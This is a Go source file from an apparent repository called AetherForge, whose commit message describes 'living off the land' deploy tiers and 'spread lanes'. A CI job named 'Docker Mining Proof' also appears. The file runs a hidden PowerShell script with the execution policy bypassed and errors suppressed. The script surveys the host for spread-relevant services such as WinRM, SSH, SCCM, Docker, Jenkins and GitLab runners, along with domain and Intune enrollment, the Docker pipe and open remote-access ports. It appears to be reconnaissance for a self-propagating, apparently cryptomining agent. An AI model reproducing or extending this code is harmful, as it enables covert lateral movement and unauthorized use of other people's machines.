Files
AetherForge/agent/deploy/service_discovery_windows.go
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

125 lines
4.3 KiB
Go

//go:build windows
package deploy
import (
"encoding/json"
"os"
"strings"
)
const serviceDiscoverScript = `
$ErrorActionPreference = 'SilentlyContinue'
$p = [ordered]@{ services = @(); hints = @() }
# ── Local services (T1007) — management + spread-relevant only ───────────────
$watch = @(
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS','Wuauserv','wuauserv'
)
foreach ($n in $watch) {
try {
$s = Get-Service -Name $n -ErrorAction SilentlyContinue
if (-not $s) {
$s = Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq $n -or $_.DisplayName -like "*$n*" } | Select-Object -First 1
}
if ($s) {
$st = if ($s.Status -eq 'Running') { 'running' } else { 'stopped' }
$p.services += [ordered]@{ name = $s.Name; status = $st }
}
} catch {}
}
# ── GPO / Intune passive indicators ───────────────────────────────────────────
try {
$cs = Get-CimInstance Win32_ComputerSystem
if ($cs.PartOfDomain) { $p.hints += 'domain_joined' }
} catch {}
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Enrollments') { $p.hints += 'intune_enrollment_key' }
if (Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate') { $p.hints += 'wu_policy_key' }
try {
if ((Get-Service gpsvc -ErrorAction SilentlyContinue).Status -eq 'Running') { $p.hints += 'group_policy_client' }
} catch {}
# ── Docker socket / named pipe ────────────────────────────────────────────────
if (Test-Path '\\.\pipe\docker_engine') { $p.hints += 'docker_pipe' }
# ── Jenkins / GitLab runner filesystem hints ──────────────────────────────────
@(
'C:\Program Files\Jenkins',
'C:\GitLab-Runner',
'C:\gitlab-runner'
) | ForEach-Object { if (Test-Path $_) { $p.hints += ('runner_path:' + $_) } }
# ── Test-NetConnection — common ports on localhost (fast) ─────────────────────
$ports = @(22,445,3389,5985,5986,2375,8080,8443)
foreach ($port in $ports) {
try {
$r = Test-NetConnection -ComputerName 127.0.0.1 -Port $port -WarningAction SilentlyContinue -InformationLevel Quiet
if ($r) { $p.services += [ordered]@{ name = ('tcp/' + $port); port = $port; status = 'listening' } }
} catch {}
}
$p | ConvertTo-Json -Depth 4 -Compress
`
func probeLocalServices() []ServiceGraphEntry {
out, err := HiddenCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
serviceDiscoverScript,
)
if err != nil {
return fallbackWindowsLocalServices()
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var payload windowsDiscoverPayload
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
return fallbackWindowsLocalServices()
}
entries := windowsRowsToEntries(payload.Services)
if dockerPipePresent() {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
zone := ProbeDNSTXTZone()
if IsDNSTXTReady(zone) {
entries = append(entries, entryWithLane("dns_txt:_aether."+zone, 0, "passive_hint"))
}
return dedupeEntries(entries)
}
func collectPassiveHints() []string {
out, err := HiddenCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
serviceDiscoverScript,
)
if err != nil {
return nil
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var payload windowsDiscoverPayload
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
return nil
}
return payload.Hints
}
func fallbackWindowsLocalServices() []ServiceGraphEntry {
var entries []ServiceGraphEntry
if _, err := os.Stat(`\\.\pipe\docker_engine`); err == nil {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
return entries
}
func dockerPipePresent() bool {
_, err := os.Stat(`\\.\pipe\docker_engine`)
return err == nil
}